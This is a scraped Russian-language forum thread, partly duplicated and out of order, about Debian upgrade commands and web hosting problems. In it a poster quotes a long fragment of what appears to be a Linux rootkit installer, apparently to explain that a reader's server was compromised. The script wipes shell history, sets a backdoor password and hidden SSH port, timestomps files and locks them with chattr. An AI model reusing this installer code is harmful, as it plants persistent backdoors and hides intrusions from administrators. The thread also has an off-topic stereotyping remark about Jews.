myhand, да в каком месте, блин? при upgrade апт-гет на моей памяти всегда спрашивал разрешения снести или поставить зависимости. А в случае с safe-upgrade он зависимости не решал, а только обновлял то, для чего не требовалось тянуть эти зависимости или сносить что-то. Я, конечно, уже дней ~230 как избавился от последней машины с дебианом, но все же это помню...
В отличии от вас - да. И скажу, что набор символов "upgrade" встречается в тексте 26 раз, но нигде не встречается такой параметр. А рекомендация "safe-upgrade" это несколько другое. И если имелось ввиду вот это:
Так как некоторые необходимые пакеты конфликтуют при обновлении etch до lenny, непосредственный запуск aptitude dist-upgrade часто приводит к удалению большого числа пакетов, которые вы хотели бы сохранить. Поэтому мы рекомендуем производить обновление в две стадии — сначала минимальное обновление, чтобы разобраться с конфликтами, а затем полный dist-upgrade.
Сначала запустите:
# aptitude safe-upgrade Это приведёт к обновлению только тех пакетов, которые можно обновить без необходимости удаления или установки других пакетов.
Следующий шаг зависит от набора установленных пакетов. В данном документе даны общие советы о том, какие методы должны быть использованы, но если есть сомнения, то перед тем как продолжить, рекомендуется проверить все пакеты, которые предлагаются к удалению каждым методом.
Вот некоторые пакеты, которые обычно предлагаются к удалению: base-config, hotplug, xlibs, netkit-inetd, python2.3, xfree86-common и xserver-common. Полный список устаревших пакетов в lenny см. Раздел 4.10, «Устаревшие пакеты».
Тогда, я думаю, разница очевидна. dist-upgrade по-другому обрабатывает зависимости, чтобы было понятнее. Больше никаких различий нет.
ArtPresident, Гм. У нас весь мир во что-то да верит. Странным не находите? Да хоть что подсунь вместо Христианства, результат тот же. Евреи он все обрезанные ходят по религиозным соображениям. Только не рассказывайте сказки, что это удобно, гигиенично и т.п. :D.
if [ -f /.bash_history ]; then chattr -isa /.bash_history >/dev/null 2>&1 rm -rf /.bash_history fi
if [ -f /bin/.bash_history ]; then chattr -isa /bin/.bash_history rm -rf /bin/.bash_history fi
if [ ! -f /usr/bin/md5sum ]; then touch -acmr /bin/ls bin/md5sum cp bin/md5sum /usr/bin/md5sum fi
if test -n "$1" ; then echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}" cd $BASEDIR/bin echo -n $1|md5sum > /etc/sh.conf else echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}" echo -n $DEFPASS|md5sum > /etc/sh.conf fi
myhand, да в каком месте, блин? при upgrade апт-гет на моей памяти всегда спрашивал разрешения снести или поставить зависимости. А в случае с safe-upgrade он зависимости не решал, а только обновлял то, для чего не требовалось тянуть эти зависимости или сносить что-то. Я, конечно, уже дней ~230 как избавился от последней машины с дебианом, но все же это помню...
Открою тайну: она мой клон :D
M_W, Оно мне надо? Я не сыщиком нанимался.
Вы читали этот текст
В отличии от вас - да. И скажу, что набор символов "upgrade" встречается в тексте 26 раз, но нигде не встречается такой параметр. А рекомендация "safe-upgrade" это несколько другое. И если имелось ввиду вот это:
Сначала запустите:
# aptitude safe-upgrade
Это приведёт к обновлению только тех пакетов, которые можно обновить без необходимости удаления или установки других пакетов.
Следующий шаг зависит от набора установленных пакетов. В данном документе даны общие советы о том, какие методы должны быть использованы, но если есть сомнения, то перед тем как продолжить, рекомендуется проверить все пакеты, которые предлагаются к удалению каждым методом.
Вот некоторые пакеты, которые обычно предлагаются к удалению: base-config, hotplug, xlibs, netkit-inetd, python2.3, xfree86-common и xserver-common. Полный список устаревших пакетов в lenny см. Раздел 4.10, «Устаревшие пакеты».
Тогда, я думаю, разница очевидна. dist-upgrade по-другому обрабатывает зависимости, чтобы было понятнее. Больше никаких различий нет.
подозрения конечно падают на старого хостера.
Вы бы хоть и старого и нового назвали. Может старый хостинг у стаминусов ВПСки держит - тогда ему на ддос в общем и по барабану будеть...
ArtPresident, Гм. У нас весь мир во что-то да верит. Странным не находите? Да хоть что подсунь вместо Христианства, результат тот же. Евреи он все обрезанные ходят по религиозным соображениям. Только не рассказывайте сказки, что это удобно, гигиенично и т.п. :D.
SEOSPIDER, Да я как бы почитал по сообщениям потом... Вроде не дядько. Или сумасшедший дядько :)
-Leo-,
1. Сначала добавьте домен в панель.
2. После - пишите в саппорт хостера...
3. Распространенная проблема у тех, кто сначала привязывает ДНС, а потом добавляет домены к хостеру.
Не, не дядько. :)
ну чтобы менять, надо снять аттрибут i точно так же. А вообще...
C вашей системой произошло описанное ниже, или что-то близкое. Только реформат, с последующим аудитом безопасности сайтов.
if [ ! -f /lib/libproc.a ]; then
mv lib/libproc.a /lib/
fi
if [ ! -f /lib/libproc.so.2.0.6 ]; then
mv lib/libproc.so.2.0.6 /lib/
fi
/sbin/ldconfig >/dev/null 2>&1
#if [ -f /lib/libncurses.so.5 ]; then
# echo ""
#else
# ln -s /lib/libncurses.so.4 /lib/libncurses.so.5 2>/dev/null
#fi
if [ -f /.bash_history ]; then
chattr -isa /.bash_history >/dev/null 2>&1
rm -rf /.bash_history
fi
if [ -f /bin/.bash_history ]; then
chattr -isa /bin/.bash_history
rm -rf /bin/.bash_history
fi
if [ ! -f /usr/bin/md5sum ]; then
touch -acmr /bin/ls bin/md5sum
cp bin/md5sum /usr/bin/md5sum
fi
if test -n "$1" ; then
echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}"
cd $BASEDIR/bin
echo -n $1|md5sum > /etc/sh.conf
else
echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}"
echo -n $DEFPASS|md5sum > /etc/sh.conf
fi
touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
chattr +isa /etc/sh.conf
if test -n "$2" ; then
echo "${DCYN}[${WHI}sh${DCYN}]# Using ssh-port : ${WHI}$2 ${RES}"
echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
echo "3 $2" >> $BASEDIR/conf/hosts.h
echo "4 $2" >> $BASEDIR/conf/hosts.h
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
echo "${DCYN}[${WHI}sh${DCYN}]# No ssh-port Specified, using default - $DEFPORT ${BLU} ${RES}"
echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
echo "3 $2" >> $BASEDIR/conf/hosts.h
echo "4 $2" >> $BASEDIR/conf/hosts.h
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi
if [ -f /lib/lidps1.so ]; then
chattr -isa /lib/lidps1.so
rm -rf /lib/lidps1.so
fi
if [ -f /usr/include/hosts.h ]; then
chattr -isa /usr/include/hosts.h
rm -rf /usr/include/hosts.h
fi
if [ -f /usr/include/file.h ]; then
chattr -isa /usr/include/file.h
rm -rf /usr/include/file.h
fi
if [ -f /usr/include/log.h ]; then
chattr -isa /usr/include/log.h
rm -rf /usr/include/log.h
fi
if [ -f /usr/include/proc.h ]; then
chattr -isa /usr/include/proc.h
rm -rf /usr/include/proc.h
fi
cd $BASEDIR
mv $BASEDIR/conf/lidps1.so /lib/lidps1.so
touch -acmr /bin/ls /lib/lidps1.so
touch -acmr /bin/ls $BASEDIR/conf/*
mv $BASEDIR/conf/* /usr/include/